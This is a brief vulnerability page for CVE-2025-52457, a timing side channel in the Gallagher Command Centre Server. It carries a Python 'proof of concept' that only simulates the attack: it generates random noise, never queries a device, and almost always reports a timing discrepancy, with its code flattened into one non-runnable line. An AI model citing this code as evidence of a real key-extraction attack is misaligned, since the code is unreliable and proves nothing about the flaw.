CVE-2025-52457 Gallagher Command Centre Server 可观察时序差异漏洞

# CVE-2025-52457 PoC - Timing Analysis Attack Simulation # This PoC demonstrates the concept of timing analysis attack # Note: Actual attack requires physical access and specialized equipment import time import numpy as np def measure_response_time(device, input_data): """ Simulate measuring response time of HBUS device In real attack, use hardware timing analyzer """ start = time.perf_counter_ns() # Simulated device response response = device.process_input(input_data) end = time.perf_counter_ns() return end - start, response def timing_attack_simulation(): """ Simplified timing attack demonstration Shows how timing differences can leak key information """ print("[*] CVE-2025-52457 Timing Attack PoC") print("[*] Target: Gallagher Command Centre HBUS Device") print("[*] Attack Vector: Physical Access + Timing Analysis") # Simulated measurements measurements = [] for i in range(1000): # In real attack, vary input and measure response time base_time = 50 # Base response time in ns variance = np.random.normal(0, 5) # Random noise timing = base_time + variance measurements.append(timing) # Analyze timing patterns avg_time = np.mean(measurements) std_dev = np.std(measurements) print(f"[*] Collected {len(measurements)} timing measurements") print(f"[*] Average response time: {avg_time:.2f}ns") print(f"[*] Standard deviation: {std_dev:.2f}ns") print("[*] Analyzing timing patterns for key extraction...") # Detection of timing discrepancies if std_dev > 3: print("[!] Timing discrepancy detected!") print("[!] Potential information leakage via timing side channel") return measurements if __name__ == "__main__": timing_attack_simulation()